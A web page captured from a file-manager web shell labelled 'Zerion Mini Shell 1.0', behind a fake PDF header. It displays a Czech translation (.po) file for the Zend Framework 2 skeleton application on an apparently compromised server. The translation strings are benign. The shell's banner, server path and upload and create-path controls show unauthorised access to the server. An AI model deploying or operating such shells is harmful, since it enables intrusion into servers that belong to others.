%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/bbw/farmaci/kritik-portale/module/Backend/language/
Upload File :
Create Path :
Current File : /var/www/html/bbw/farmaci/kritik-portale/module/Backend/language/cs_CZ.po

msgid ""
msgstr ""
"Project-Id-Version: ZendSkeletonApplication\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2012-07-05 22:17-0700\n"
"PO-Revision-Date: 2012-07-06 13:05+0100\n"
"Last-Translator: David Lukas <david.lukas@zfdaily.com>\n"
"Language-Team: ZF Contibutors <zf-devteam@zend.com>\n"
"Language: \n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Poedit-KeywordsList: translate\n"
"X-Poedit-Language: Czech\n"
"X-Poedit-Country: CZECH REPUBLIC\n"
"X-Poedit-Basepath: .\n"
"X-Poedit-SearchPath-0: ..\n"

#: ../view/layout/layout.phtml:6
#: ../view/layout/layout.phtml:33
msgid "Skeleton Application"
msgstr "Skeleton aplikace"

#: ../view/layout/layout.phtml:36
msgid "Home"
msgstr "Úvod"

#: ../view/layout/layout.phtml:50
msgid "All rights reserved."
msgstr "Všechna práva vyhrazena."

#: ../view/application/index/index.phtml:2
#, php-format
msgid "Welcome to %sZend Framework 2%s"
msgstr "Vítejte v %sZend Framework 2%s"

#: ../view/application/index/index.phtml:3
#, php-format
msgid "Congratulations! You have successfully installed the %sZF2 Skeleton Application%s. You are currently running Zend Framework version %s. This skeleton can serve as a simple starting point for you to begin building your application on ZF2."
msgstr "Blahopřejeme! Úspěšně jste nainstalovali %sZF2 Skeleton Application%s. Právě používáte Zend Framework verze %s. Tato kostra aplikace vám poslouží jako jednoduchý výchozí bod, ze kterého můžete vyjít při tvorbě vlastní aplikace nad ZF2."

#: ../view/application/index/index.phtml:4
msgid "Fork Zend Framework 2 on GitHub"
msgstr "Fork Zend Framework 2 na GitHub"

#: ../view/application/index/index.phtml:10
msgid "Follow Development"
msgstr "Sledujte vývoj"

#: ../view/application/index/index.phtml:11
#, php-format
msgid "Zend Framework 2 is under active development. If you are interested in following the development of ZF2, there is a special ZF2 portal on the official Zend Framework website which provides links to the ZF2 %swiki%s, %sdev blog%s, %sissue tracker%s, and much more. This is a great resource for staying up to date with the latest developments!"
msgstr "Zend Framework 2 je aktivně vyvíjen. Chcete-li sledovat vývoj ZF2, máte na oficiálních webových stránkách Zend Framework k dispozici zvláštní portál ZF2, na kterém najdete odkazy na ZF2 %swiki%s, %svývojářský blog%s, %sissue tracker%s a mnoho dalšího. Tento portál je skvělý zdroj aktuálních informací o nejnovějším vývoji!"

#: ../view/application/index/index.phtml:12
msgid "ZF2 Development Portal"
msgstr "Vývojářský portál ZF2"

#: ../view/application/index/index.phtml:16
msgid "Discover Modules"
msgstr "Objevte Moduly"

#: ../view/application/index/index.phtml:17
#, php-format
msgid "The community is working on developing a community site to serve as a repository and gallery for ZF2 modules. The project is available %son GitHub%s. The site is currently live and currently contains a list of some of the modules already available for ZF2."
msgstr "Komunita pracuje na vývoji komunitního webu, který bude sloužit jako archiv a galerie modulů ZF2. Tento projekt je dostupný %sna GitHub%s. Web je aktuálně v provozu a obsahuje seznam některých již dostupných modulů ZF2."

#: ../view/application/index/index.phtml:18
msgid "Explore ZF2 Modules"
msgstr "Prozkoumejte Moduly ZF2"

#: ../view/application/index/index.phtml:22
msgid "Help &amp; Support"
msgstr "Pomoc &amp; Podpora"

#: ../view/application/index/index.phtml:23
#, php-format
msgid "If you need any help or support while developing with ZF2, you may reach us via IRC: %s#zftalk on Freenode%s. We'd love to hear any questions or feedback you may have regarding the beta releases. Alternatively, you may subscribe and post questions to the %smailing lists%s."
msgstr "Budete-li při vývoji se ZF2 potřebovat jakoukoli pomoc nebo podporu, můžete nás zastihnout přes IRC: %s#zftalk na Freenode%s. Budeme rádi za jakékoli vaše otázky nebo připomínky týkající se beta verzí. Případně se také můžete přihlásit k odběru a posílat otázky na naše %se-mailové distribuční seznamy%s."

#: ../view/application/index/index.phtml:24
msgid "Ping us on IRC"
msgstr "Ozvěte se nám na IRC"

#: ../view/error/index.phtml:1
msgid "An error occurred"
msgstr "Vyskytla se chyba"

#: ../view/error/index.phtml:8
msgid "Additional information"
msgstr "Další informace"

#: ../view/error/index.phtml:11
#: ../view/error/index.phtml:35
msgid "File"
msgstr "Soubor"

#: ../view/error/index.phtml:15
#: ../view/error/index.phtml:39
msgid "Message"
msgstr "Zpráva"

#: ../view/error/index.phtml:19
#: ../view/error/index.phtml:43
#: ../view/error/404.phtml:55
msgid "Stack trace"
msgstr "Trasování zásobníku (Stack trace)"

#: ../view/error/index.phtml:29
msgid "Previous exceptions"
msgstr "Předchozí výjimky"

#: ../view/error/index.phtml:58
msgid "No Exception available"
msgstr "Žádná výjimka není k dispozici"

#: ../view/error/404.phtml:1
msgid "A 404 error occurred"
msgstr "Vyskytla se chyba 404"

#: ../view/error/404.phtml:10
msgid "The requested controller was unable to dispatch the request."
msgstr "Požadovaný controller nemohl vyřídit požadavek."

#: ../view/error/404.phtml:13
msgid "The requested controller could not be mapped to an existing controller class."
msgstr "Požadovaný controller se nepodařilo namapovat na žádnou existující třídu controlleru."

#: ../view/error/404.phtml:16
msgid "The requested controller was not dispatchable."
msgstr "Požadovaný controller nepodporuje vyřízení (controller not dispatchable)."

#: ../view/error/404.phtml:19
msgid "The requested URL could not be matched by routing."
msgstr "S požadovaným URL nebyla při směrování (routing) nalezena shoda."

#: ../view/error/404.phtml:22
msgid "We cannot determine at this time why a 404 was generated."
msgstr "Momentálně nedokážeme určit, proč byla vygenerována chyba 404."

#: ../view/error/404.phtml:34
msgid "Controller"
msgstr "Controller"

#: ../view/error/404.phtml:41
#, php-format
msgid "resolves to %s"
msgstr "je mapován na %s"

#: ../view/error/404.phtml:51
msgid "Exception"
msgstr "Výjimka"


Zerion Mini Shell 1.0